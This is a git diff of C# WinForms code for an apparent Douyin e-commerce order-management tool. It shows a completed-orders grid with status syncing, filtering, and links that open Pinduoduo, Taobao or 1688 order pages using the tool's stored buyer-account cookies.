JObject.Parse(htmljm)["data"]["shop_order_detail"]["sku_order_list"]; + // foreach (JObject skuorderdetail in skuorderlist) + // { + // string detailjson = skuorderdetail.ToString(); + // var detailObj = JObject.Parse(detailjson); + // if (detailObj["order_id"].ToString() == douYinOrderModel.order_id) + // { + // sb.Append("&is_comment=" + detailObj["is_comment"].ToString()); + // break; + // } + // } + // + // string url = BaseClass.DouYinBuildObjString("order&act=update"); + // var result = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + sb.ToString()); + // douYinOrderModel.order_status = Convert.ToInt32(oStatus); + // } + // catch (Exception ex) + // { + // } + //} + #endregion + } + + AddDgvRowByDouYinOrderModel(douYinOrderModel); + } + + var startTime = Convert.ToDateTime(orderList.Min(o => o.create_time)); + var endTime = Convert.ToDateTime(orderList.Max(o => o.create_time)); + var shopIds = shopList.Select(s => s.ShopId).ToList(); + + // 读取状态不是已完成的订单,如果状态发生改变,修改订单状态。 + UpdateFinishOrder(shopIds, orderList, startTime.AddSeconds(-5), endTime.AddSeconds(5)); + scrollpage = false; + refresh = false; + + if (page < 5 && pagecount > page) + { + Task.Run(() => + { + while (readorderthread != null && !readorderthread.IsCompleted) + Thread.Sleep(100); + successOrderListDgv_Scroll(null, null); + }); + } + } + + void AddDgvRowByDouYinOrderModel(DouYinOrderModel douYinOrderModel) + { + TimeSpan ts1 = new TimeSpan(Convert.ToDateTime((douYinOrderModel.create_time.Contains("2000") ? DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss") : douYinOrderModel.create_time)).Ticks); + TimeSpan ts2 = new TimeSpan(DateTime.Now.AddHours(-48).Ticks); + TimeSpan ts = ts1.Subtract(ts2).Duration(); + + Bitmap skuImg = BuyOrderListForm.GetSkuImage(douYinOrderModel.sku_img); + + Invoke(new Action(() => + { + try + { + var orderstatus = GetOrderStatusDescribe(douYinOrderModel); + DataGridViewRow r = new DataGridViewRow(); + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.shop_id, }); /*"店铺编号"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.shop_name, }); /*"店铺名称"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.title, }); + r.Cells.Add(new DataGridViewTextBoxCell() { Value = string.IsNullOrEmpty(douYinOrderModel.default_up_ids) ? douYinOrderModel.up_product_id : douYinOrderModel.default_up_ids }); /*"上家ID"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.product_id, }); /*"本店ID"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.c_biz_desc, }); /*"商品描述"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.sku, }); /*"规格"*/ + r.Cells.Add(new DataGridViewImageCell() { Value = skuImg, }); /*"图片"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.price, }); /*"售价"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.buy_price, }); /*"进价"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = string.IsNullOrEmpty(douYinOrderModel.commission_scale) || douYinOrderModel.c_biz_desc != "精选联盟" ? "0.00" : douYinOrderModel.commission_scale, }); /*"佣金比例"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = string.IsNullOrEmpty(douYinOrderModel.commission) || douYinOrderModel.c_biz_desc != "精选联盟" ? "0.00" : douYinOrderModel.commission, }); /*"佣金"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = SendOrderListForms.GetLirun(douYinOrderModel), }); /*"利润"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.count, }); /*"数量"*/ + r.Cells.Add(new DataGridViewLinkCell() { Value = douYinOrderModel.order_id, }); /*"买家订单号"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.name, }); /*"买家姓名"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = "******", }); /*"买家姓名fake"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.mobile, }); /*"买家电话"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = "******", }); /*"买家电话"fake*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.address, }); /*"买家地址"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = "******", }); /*"买家地址fake"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.create_time, }); /*"订单确认时间"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = Convert.ToDateTime(douYinOrderModel.create_time).AddHours(48).ToString("yyyy-MM-dd HH:mm:ss"), }); /*"延迟发货时间"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = (ts2 > ts1 ? "超 " : "") + ts.Days.ToString("D2") + "天" + ts.Hours.ToString("D2") + "时" + ts.Minutes.ToString("D2") + "分", }); /*"延迟剩余"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.buy_time.ParseToDateTime() <= new DateTime(2021, 1, 1, 1, 1, 1) ? "--" : douYinOrderModel.buy_time, }); /*"拍单时间"*/ + r.Cells.Add(new DataGridViewLinkCell() { Value = douYinOrderModel.order_id_buy, }); /*"拍单订单号"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = orderstatus, }); /*"订单状态"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.buyer_mobile, }); /*"买手号"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.express_name, }); /*"物流公司"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.express_no, }); /*"物流单号"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.is_evaluate_status == 1 ? "已催评" : "未催评", }); + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.is_comment == 1 ? "已评价" : "未评价", }); /*"是否评价"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.remark, }); + DgvSuccessOrderList.Rows.Add(r); + + if (whereStatus.Contains("已签收")) + { + r.Visible = orderstatus.Contains("已完成"); + } + else if (whereStatus.Contains("未签收") && !whereStatus.Contains("已签收")) + { + r.Visible = orderstatus.Contains("已完成"); + } + + if (orderstatus.Contains("已取消")) + { + r.Visible = false; + } + } + catch (Exception ex) + { + } + })); + } + + string GetOrderStatusDescribe(DouYinOrderModel douYinOrderModel) + { + string orderstatus = ""; + // 订单状态 + // 1 待确认/ 待支付(订单创建完毕) + // 105 已支付 + // 2 备货中 + // 101 部分发货 + // 3 已发货(全部发货) + // 4 已取消 + // 5 已完成(已收货) + switch (douYinOrderModel.order_status) + { + case 1: + orderstatus = "待确认/ 待支付"; + break; + case 105: + orderstatus = "已支付"; + break; + case 2: + orderstatus = "备货中"; + break; + case 101: + orderstatus = "部分发货"; + break; + case 3: + orderstatus = "已发货(全部发货)"; + break; + case 4: + orderstatus = "已取消"; + break; + case 5: + orderstatus = "已完成(已收货)"; + break; + } + return orderstatus; + } + + + public bool isOrderReading = false; + void UpdateFinishOrder(List shopIds, List orderList, DateTime startTime, DateTime endTime) + { + try + { + if (isOrderReading) + { + return; + } + isOrderReading = true; + string url = BaseClass.ApiUrl + "/do"; + Task.Run(() => + { + try + { + foreach (DouShopLoginInfo shop in CollectionClass.DouShopLoginList) + { + if (!shopIds.Contains(shop.ShopId) || shop.ApiAuthStatus != "授权成功") + continue; + + int size = 100; + int totalcount = 100; + int page = 0; + + downpage: + Dictionary dic = new Dictionary() { }; + dic["size"] = size.ToString(); + dic["page"] = page.ToString(); + dic["create_time_start"] = BaseClass.DateTimeToTimestampSeconds(startTime).ToString(); + dic["create_time_end"] = BaseClass.DateTimeToTimestampSeconds(endTime).ToString(); + dic["order_by"] = "create_time"; + DouyinApi apix = new DouyinApi(shop); + apix.JsonData = dic; + BaseClass.ShopId = shop.ShopId; + BaseClass.ShopName = shop.ShopName; + + string html = apix.GetOrderList(); + for (int i = 0; i < 5 && html.Contains("系统繁忙,请稍后重试"); i++) + { + Thread.Sleep(1000); + html = apix.GetOrderList(); + } + + if (string.IsNullOrEmpty(html)) + { + isOrderReading = false; + return; + } + var temp = html.Replace(" ", ""); + if (!temp.Contains("\"msg\":\"success\"") && !temp.Contains("\"message\":\"success\"") && !temp.Contains("\"code\":10000")) + { + isOrderReading = false; + return; + } + + try + { + DouOrderListInfo.OrderData orderListInfo = JsonConvert.DeserializeObject(html).data; + // todo: 修改订单 + foreach (var order in orderListInfo.shop_order_list) + { + foreach (var childOrder in order.sku_order_list) + { + var successOrder = CollectionClass.successOrderDataList.FirstOrDefault(o => o.order_id == childOrder.order_id); + if (successOrder != null && successOrder.order_status != 4) + { + successOrder.is_comment = childOrder.is_comment; + successOrder.order_status = order.order_status; + + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + successOrder.order_id); + sb.Append("&order_status=" + successOrder.order_status); + sb.Append("&is_comment=" + successOrder.is_comment); + string url = BaseClass.DouYinBuildObjString("order&act=update"); + var result = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + sb.ToString()); + var row = this.DgvSuccessOrderList.Rows.Cast().FirstOrDefault(r => r.Cells["col_order_id"].Value.ToString() == successOrder.order_id); + if (row != null) + { + Invoke(new Action(() => + { + var orderstatus = GetOrderStatusDescribe(successOrder); + row.Cells["order_Status"].Value = orderstatus; + row.Cells["is_comment"].Value = successOrder.is_comment == 1 ? "已评价" : "未评价"; + + if (whereStatus.Contains("已签收")) + { + row.Visible = orderstatus.Contains("已完成"); + } + else if (whereStatus.Contains("未签收") && !whereStatus.Contains("已签收")) + { + row.Visible = orderstatus.Contains("已完成"); + } + + if (orderstatus.Contains("已取消")) + { + row.Visible = false; + } + })); + } + } + } + } + + if (orderListInfo.total > totalcount) + { + page++; + totalcount += orderListInfo.shop_order_list.Count; + goto downpage; + } + } + catch (Exception ex) + { + } + } + } + catch (Exception ex) + { + NaiBa.Util.Helper.LogHelper.WriteWithTime(ex.Message); + } + isOrderReading = false; + }); + } + catch (Exception ex) + { + isOrderReading = false; + } + } + + public bool SelectOrder(string order_id) + { + IEnumerable enumerableList = this.DgvSuccessOrderList.Rows.Cast(); + bool isexist = false; + for (int i = 0; i < DgvSuccessOrderList.Rows.Count; i++) + { + string orderid = DgvSuccessOrderList.Rows[i].Cells["col_order_id"].Value.ToString(); + string ordermobile = DgvSuccessOrderList.Rows[i].Cells["col_mobile"].Value.ToString(); + string orderusername = DgvSuccessOrderList.Rows[i].Cells["col_name"].Value.ToString(); + string title = DgvSuccessOrderList.Rows[i].Cells["col_title"].Value.ToString(); + string productId = DgvSuccessOrderList.Rows[i].Cells["col_product_id"].Value.ToString(); + string buyOrderNumber = DgvSuccessOrderList.Rows[i].Cells["buyOrderNum"].Value.ToString(); + if (string.IsNullOrEmpty(order_id) || orderid.Contains(order_id) || ordermobile.Contains(order_id) || orderusername.Contains(order_id) || + title.Contains(order_id) || productId.Contains(order_id) || buyOrderNumber.Contains(order_id)) + { + DgvSuccessOrderList.Rows[i].Visible = true; + isexist = true; + } + else + { + DgvSuccessOrderList.Rows[i].Visible = false; + } + } + return isexist; + } + + private void successOrderListDgv_CellMouseEnter(object sender, DataGridViewCellEventArgs e) + { + if (e.RowIndex < 0 || e.ColumnIndex < 0) + return; + + try + { + var orderId = DgvSuccessOrderList.Rows[e.RowIndex].Cells["col_order_id"].Value?.ToString(); + var order = CollectionClass.successOrderDataList.FirstOrDefault(x => x.order_id == orderId); + if (order != null) + { + if (DgvSuccessOrderList.Rows[e.RowIndex].Cells[e.ColumnIndex] == DgvSuccessOrderList.Rows[e.RowIndex].Cells["productImgSku"]) + { + var original = Image.FromStream(System.Net.WebRequest.Create(order.sku_img).GetResponse().GetResponseStream()); + var skuImg = new Bitmap(original, new Size(216, 216)); + mainform.skuimg(skuImg); + } + else + { + mainform.skuimghide(); + } + } + } + catch (Exception) + { + } + } + + string whereStatus = ","; + public void successOrderWhere(string status) + { + whereStatus = status; + for (int i = 0; i < DgvSuccessOrderList.Rows.Count; i++) + { + string aftersale_stutas = DgvSuccessOrderList.Rows[i].Cells["order_Status"].Value.ToString(); + + if (status == ",") + { + DgvSuccessOrderList.Rows[i].Visible = true; + } + else + { + if (status.Contains("已签收") && status.Contains("未签收")) + { + continue; + } + if (status.Contains("已签收")) + { + if (aftersale_stutas.Contains("已完成")) + { + DgvSuccessOrderList.Rows[i].Visible = true; + } + else + { + DgvSuccessOrderList.Rows[i].Visible = false; + } + } + else if (status.Contains("未签收")) + { + if (aftersale_stutas.Contains("已完成")) + { + DgvSuccessOrderList.Rows[i].Visible = false; + } + else + { + DgvSuccessOrderList.Rows[i].Visible = true; + } + } + } + + if (status.Contains("已取消")) + { + if (aftersale_stutas.Contains("已取消")) + { + DgvSuccessOrderList.Rows[i].Visible = true; + } + } + else + { + if (aftersale_stutas.Contains("已取消")) + { + DgvSuccessOrderList.Rows[i].Visible = false; + } + } + + + } + } + + private void successOrderListDgv_CellMouseLeave(object sender, DataGridViewCellEventArgs e) + { + if (e.RowIndex != -1) + { + if (e.RowIndex % 2 == 0) + { + DgvSuccessOrderList.Rows[e.RowIndex].DefaultCellStyle.BackColor = Color.FromArgb(244, 244, 244); + } + else + { + DgvSuccessOrderList.Rows[e.RowIndex].DefaultCellStyle.BackColor = Color.White; + } + } + } + + private void successOrderListDgv_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + string name = DgvSuccessOrderList.Columns[e.ColumnIndex].HeaderText; + string orderid = DgvSuccessOrderList.Rows[e.RowIndex].Cells["col_order_id"].Value.ToString(); + string shopid = DgvSuccessOrderList.Rows[e.RowIndex].Cells["col_shop_id"].Value.ToString(); + if (name == "拍单订单号") + { + string orderurl = ""; + string buyOrderId = ""; + if (DgvSuccessOrderList.Rows[e.RowIndex].Cells["col_order_id"].Value != null) + { + buyOrderId = DgvSuccessOrderList.Rows[e.RowIndex].Cells["col_order_id"].Value.ToString(); + } + + string buyOrderNum = DgvSuccessOrderList.Rows[e.RowIndex].Cells["buyOrderNum"].Value.ToString(); + DouYinOrderModel douyinModel = CollectionClass.successOrderDataList.Find(x => x.order_id == buyOrderId); + if (douyinModel != null) + { + string buycookies = ""; + if (buyOrderNum.Contains("-")) + { + if (douyinModel.buyer_mobile.StartsWith("plbuy_")) + { + var pdduid = douyinModel.buyer_mobile.Replace("plbuy_", ""); + var mulitUserCookie = AllBase.Helper.GlobalConfig.LstMultiBuyer.Find(u => u.pdd_user_id == pdduid); + if (mulitUserCookie == null) + { + BaseMsgForm.ShowError("多买手拍单买手号未找到"); + return; + } + orderurl = "https://yangkeduo.com/order.html?order_sn=" + buyOrderNum + "&refer_page_name=my_order&refer_page_id=10032_1633690608873_o25zt3yc2e&refer_page_sn=10032"; + BuyProductBrower buyProductBrower = new BuyProductBrower(); + buyProductBrower.TitleText = "拍单订单详情"; + buyProductBrower.Width = 405; + buyProductBrower.Height = 692; + buyProductBrower.cookies = "PDDAccessToken=" + mulitUserCookie.cookies + ";"; + buyProductBrower.WebUrl = orderurl; + buyProductBrower.Show(); + } + // 拼多多批发订单 + else if (douyinModel.buyer_mobile.StartsWith("pdd")) + { + var pddPifaBuyer = AllBase.Helper.GlobalConfig.LstPddPifaShop.FirstOrDefault(s => s.PddId == douyinModel.buyer_mobile); + if (pddPifaBuyer == null) + { + BaseMsgForm.ShowError("拼多多批发拍单买手号未找到"); + return; + } + buycookies = pddPifaBuyer.CookieStr; + orderurl = "https://pifa.pinduoduo.com/order"; + BuyProductBrower buyProductBrower = new BuyProductBrower(); + buyProductBrower.TitleText = "拍单订单列表 " + douyinModel.order_id_buy; + buyProductBrower.Width = 1280; + buyProductBrower.Height = 700; + buyProductBrower.cookies = buycookies; + buyProductBrower.WebUrl = orderurl; + buyProductBrower.Show(); + } + else + { + var dicbuyer = PddBuyUser.buyUserCookies.FirstOrDefault(x => x.Value.uid == douyinModel.buyer_mobile_uid); + if (dicbuyer.Key == null) + { + BaseMsgForm.ShowError("拼多多拍单买手号未找到"); + return; + } + for (int kk = 0; dicbuyer.Key != null && kk < dicbuyer.Value.Cookies.Count; kk++) + { + buycookies += dicbuyer.Value.Cookies[kk].Name + "=" + dicbuyer.Value.Cookies[kk].Value + "; "; + } + orderurl = "https://yangkeduo.com/order.html?order_sn=" + buyOrderNum + "&refer_page_name=my_order&refer_page_id=10032_1633690608873_o25zt3yc2e&refer_page_sn=10032"; + BuyProductBrower buyProductBrower = new BuyProductBrower(); + buyProductBrower.TitleText = "拍单订单详情"; + buyProductBrower.Width = 405; + buyProductBrower.Height = 692; + buyProductBrower.cookies = buycookies; + buyProductBrower.WebUrl = orderurl; + buyProductBrower.Show(); + } + } + else + { + var upId = this.DgvSuccessOrderList.Rows[e.RowIndex].Cells["col_up_product_id"].Value.ToString(); + if (ALBuyUser.buyUserCookies.Count > 0) + { + var dicbuyer = ALBuyUser.buyUserCookies.FirstOrDefault(x => x.Value.UserName == douyinModel.buyer_mobile); + for (int kk = 0; dicbuyer.Key != null && kk < dicbuyer.Value.Cookies.Count; kk++) + { + buycookies += dicbuyer.Value.Cookies[kk].Name + "=" + dicbuyer.Value.Cookies[kk].Value + "; "; + } + } + + if (string.IsNullOrEmpty(buycookies)) + { + if (TaoBaoBuyUser.buyUserCookies.Count > 0) + { + var dicbuyer = TaoBaoBuyUser.buyUserCookies.FirstOrDefault(x => x.Value.UserName == douyinModel.buyer_mobile); + for (int kk = 0; dicbuyer.Key != null && kk < dicbuyer.Value.Cookies.Count; kk++) + { + buycookies += dicbuyer.Value.Cookies[kk].Name + "=" + dicbuyer.Value.Cookies[kk].Value + "; "; + } + } + } + orderurl = "https://buyertrade.taobao.com/trade/detail/trade_item_detail.htm?bizOrderId=" + buyOrderNum; + if (upId.StartsWith("al-") || upId.StartsWith("1688-")) + orderurl = "https://trade.1688.com/order/order_detail.htm?spm=a360q.8274423.0.0.49c84c9apfOGVj&order_id=" + buyOrderNum; + if (string.IsNullOrEmpty(buycookies)) + { + BaseMsgForm.ShowConfirm("无此买手号", "提示"); + return; + } + BuyProductBrower buyProductBrower = new BuyProductBrower(); + buyProductBrower.TitleText = "拍单订单详情"; + buyProductBrower.buyermobile = douyinModel.buyer_mobile; + buyProductBrower.Width = 1080; + buyProductBrower.Height = 700; + buyProductBrower.cookies = buycookies; + buyProductBrower.WebUrl = orderurl; + buyProductBrower.Show(); + } + } + } + else if (name == "订单号") + { + DouShopLoginInfo shop = CollectionClass.DouShopLoginList.Find(x => x.ShopId == shopid); + if (shop != null) + { + ShopForms.ShopBrower shopBrower = new ShopForms.ShopBrower(); + shopBrower.TitleText = "店铺后台"; + shopBrower.shop = shop; + shopBrower.WindowState = FormWindowState.Maximized; + shopBrower.webUrl = "https://fxg.jinritemai.com/ffa/morder/order/detail?id=" + orderid; + shopBrower.Show(); + } + } + + } + + /// + /// 点击行列 + /// + private DataGridViewCellMouseEventArgs mouseEvent; + private void successmenu_click(object sender, EventArgs e) + { + ToolStripMenuItem tsmenu = sender as ToolStripMenuItem; + if (mouseEvent == null) + { + return; + } + var buyOrderId = DgvSuccessOrderList.Rows[mouseEvent.RowIndex].Cells["col_order_id"].Value.ToString(); + DouYinOrderModel orderDetail; + switch (tsmenu.Text) + { + case "已催评": + orderDetail = CollectionClass.successOrderDataList.Find(x => x.order_id == buyOrderId); + if (orderDetail != null) + { + orderDetail.is_evaluate_status = 1; + IEnumerable enumerableList = this.DgvSuccessOrderList.Rows.Cast(); + List list = (from item in enumerableList where item.Cells["col_order_id"].Value.ToString() == buyOrderId select item).ToList(); + if (list.Count > 0) + { + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + buyOrderId); + sb.Append("&is_evaluate_status=1"); + string url = BaseClass.DouYinBuildObjString("order&act=update"); + GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + sb.ToString()); + var item = DgvSuccessOrderList.Rows[list[0].Index]; + item.Cells["is_evaluate_status"].Value = "已催评"; + } + } + break; + } + } + + private void successOrderListDgv_CellMouseDown(object sender, DataGridViewCellMouseEventArgs e) + { + try + { + mouseEvent = e; + } + catch (Exception) + { + + } + } + + private void colore_clicke(object sender, EventArgs e) + { + ToolStripMenuItem tsmenu = sender as ToolStripMenuItem; + if (mouseEvent == null) + { + return; + } + var orderId = DgvSuccessOrderList.Rows[mouseEvent.RowIndex].Cells["col_order_id"].Value.ToString(); + var shopid = DgvSuccessOrderList.Rows[mouseEvent.RowIndex].Cells["col_shop_id"].Value.ToString(); + + int color = 3; + switch (tsmenu.Text) + { + case "灰色": + color = 0; + break; + case "紫色": + color = 1; + break; + case "蓝色": + color = 2; + break; + case "绿色": + color = 3; + break; + case "橙色": + color = 4; + break; + case "红色": + color = 5; + break; + } + mainform.chaqi(orderId, color, shopid); + } + + + Task readorderthread = null; + private void successOrderListDgv_Scroll(object sender, ScrollEventArgs e) + { + if (e == null || (e.ScrollOrientation == ScrollOrientation.VerticalScroll && DgvSuccessOrderList.FirstDisplayedScrollingRowIndex > DgvSuccessOrderList.RowCount - 60)) // 垂直滚动条滚动到底部,数据为加载完,则再次加载 + { + if (pagecount > page) + { + if (readorderthread != null) + { + if (!readorderthread.IsCompleted) + { + return; + } + } + page++; + + readorderthread = Task.Run(() => { ReadServerOrder(true); }); + } + } + } + + private void 待拍单ToolStripMenuItem_Click(object sender, EventArgs e) + { + var order_id = "0"; + if (mouseEvent.RowIndex >= 0) + order_id = DgvSuccessOrderList.Rows[mouseEvent.RowIndex].Cells["col_order_id"].Value.ToString(); + + DouYinOrderModel dyorderModel = CollectionClass.successOrderDataList.Find(x => x.order_id == order_id); + if (dyorderModel != null) + { + if (!string.IsNullOrEmpty(dyorderModel.express_name) || !string.IsNullOrEmpty(dyorderModel.order_id_buy)) + { + BaseMsgForm.ShowError("已经实际完成拍单发货的订单不能再回退到未拍单!"); + return; + } + } + + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + order_id); + sb.Append("&order_status_buy=" + 1); + sb.Append("&is_update_order=1"); // 1修改状态0不修改状态 + string upjmurl = BaseClass.DouYinBuildObjString("order&act=update"); + string html = GetHtml.PostUtf8(upjmurl, UserLogin.GetSignaturex() + sb.ToString()); + string code = JObject.Parse(html)["code"].ToString(); + + IEnumerable enumerableList = this.DgvSuccessOrderList.Rows.Cast(); + List list = (from item in enumerableList where item.Cells["col_order_id"].Value.ToString() == order_id select item).ToList(); + if (list.Count > 0) + this.DgvSuccessOrderList.Rows.Remove(list[0]); + + CollectionClass.successOrderDataList.RemoveAll(x => x.order_id == order_id); + CollectionClass.orderDataList.Add(dyorderModel); + mainform.buyOrderListForm.SetOrderEditShowInDgvRows(dyorderModel, 1); + } + + /// + /// 更新列表 + /// + /// + /// 1 添加 修改 2删除 + public void SetOrderEditShowInDgvRows(DouYinOrderModel douYinOrderModel, int type) + { + if (!this.Created) + return; + + Invoke(new Action(() => + { + try + { + IEnumerable enumerableList = this.DgvSuccessOrderList.Rows.Cast(); + List list = (from item in enumerableList + where item.Cells["col_order_id"].Value.ToString() == douYinOrderModel.order_id + select item).ToList(); + if (type == 1) + { + if (list.Count == 0) + { + AddDgvRowByDouYinOrderModel(douYinOrderModel); + } + else + { + var row = list[0]; + var orderstatus = GetOrderStatusDescribe(douYinOrderModel); + row.Cells["order_Status"].Value = orderstatus; + row.Cells["is_comment"].Value = douYinOrderModel.is_comment == 1 ? "已评价" : "未评价"; + } + + } + else if (type == 2) + { + if (list.Count > 0) + { + this.DgvSuccessOrderList.Rows.RemoveAt(list[0].Index); + } + + } + } + catch (Exception ex) + { + + } + })); + } + public void SetDgvHeaders(bool isEditDgvHeaders = true) + { + if (isEditDgvHeaders) + { + DgvHeaderEditForm df = new DgvHeaderEditForm(this.DgvSuccessOrderList); + df.TitleText = "编辑已完成列表表头"; + df.ShowDialog(); + } + DgvHeaderEditForm.SetDgvHeaderVisible(this.DgvSuccessOrderList); + } + + public void outexcel() + { + OutExcel.ExportToExcel(OutExcel.ToDataTable(DgvSuccessOrderList)); + } + } +} diff --git a/29WxOrder/OrderForms/SuccessOrderListForm.resx b/29WxOrder/OrderForms/SuccessOrderListForm.resx new file mode 100644 index 0000000..c8686d0 --- /dev/null +++ b/29WxOrder/OrderForms/SuccessOrderListForm.resx @@ -0,0 +1,219 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + 17, 17 + + \ No newline at end of file diff --git a/29WxOrder/OrderForms/TransitAddressForm.Designer.cs b/29WxOrder/OrderForms/TransitAddressForm.Designer.cs new file mode 100644 index 0000000..43bc8db --- /dev/null +++ b/29WxOrder/OrderForms/TransitAddressForm.Designer.cs @@ -0,0 +1,215 @@ +namespace _29WxOrder.OrderForms +{ + partial class TransitAddressForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(TransitAddressForm)); + this.panel1 = new System.Windows.Forms.Panel(); + this.panel3 = new System.Windows.Forms.Panel(); + this.label3 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + this.pnlSave = new DevComponents.DotNetBar.PanelEx(); + this.pnlClear = new DevComponents.DotNetBar.PanelEx(); + this.txtAddress = new System.Windows.Forms.TextBox(); + this.txtMobile = new System.Windows.Forms.TextBox(); + this.txtName = new System.Windows.Forms.TextBox(); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).BeginInit(); + this.panel1.SuspendLayout(); + this.panel3.SuspendLayout(); + this.SuspendLayout(); + // + // pbCloseBase + // + this.pbCloseBase.Location = new System.Drawing.Point(387, 0); + // + // panel1 + // + this.panel1.Controls.Add(this.panel3); + this.panel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel1.Location = new System.Drawing.Point(0, 32); + this.panel1.Name = "panel1"; + this.panel1.Padding = new System.Windows.Forms.Padding(2, 0, 2, 2); + this.panel1.Size = new System.Drawing.Size(419, 225); + this.panel1.TabIndex = 3; + // + // panel3 + // + this.panel3.BackColor = System.Drawing.Color.White; + this.panel3.Controls.Add(this.label3); + this.panel3.Controls.Add(this.label2); + this.panel3.Controls.Add(this.label1); + this.panel3.Controls.Add(this.pnlSave); + this.panel3.Controls.Add(this.pnlClear); + this.panel3.Controls.Add(this.txtAddress); + this.panel3.Controls.Add(this.txtMobile); + this.panel3.Controls.Add(this.txtName); + this.panel3.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel3.Location = new System.Drawing.Point(2, 0); + this.panel3.Name = "panel3"; + this.panel3.Size = new System.Drawing.Size(415, 223); + this.panel3.TabIndex = 0; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(30, 109); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(29, 12); + this.label3.TabIndex = 685; + this.label3.Text = "地址"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(30, 71); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(29, 12); + this.label2.TabIndex = 684; + this.label2.Text = "手机"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(30, 35); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(29, 12); + this.label1.TabIndex = 683; + this.label1.Text = "姓名"; + // + // pnlSave + // + this.pnlSave.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlSave.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlSave.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlSave.Font = new System.Drawing.Font("微软雅黑", 10F); + this.pnlSave.Location = new System.Drawing.Point(283, 180); + this.pnlSave.Name = "pnlSave"; + this.pnlSave.Size = new System.Drawing.Size(70, 21); + this.pnlSave.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSave.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlSave.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlSave.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlSave.Style.CornerDiameter = 1; + this.pnlSave.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlSave.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlSave.Style.GradientAngle = 90; + this.pnlSave.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + 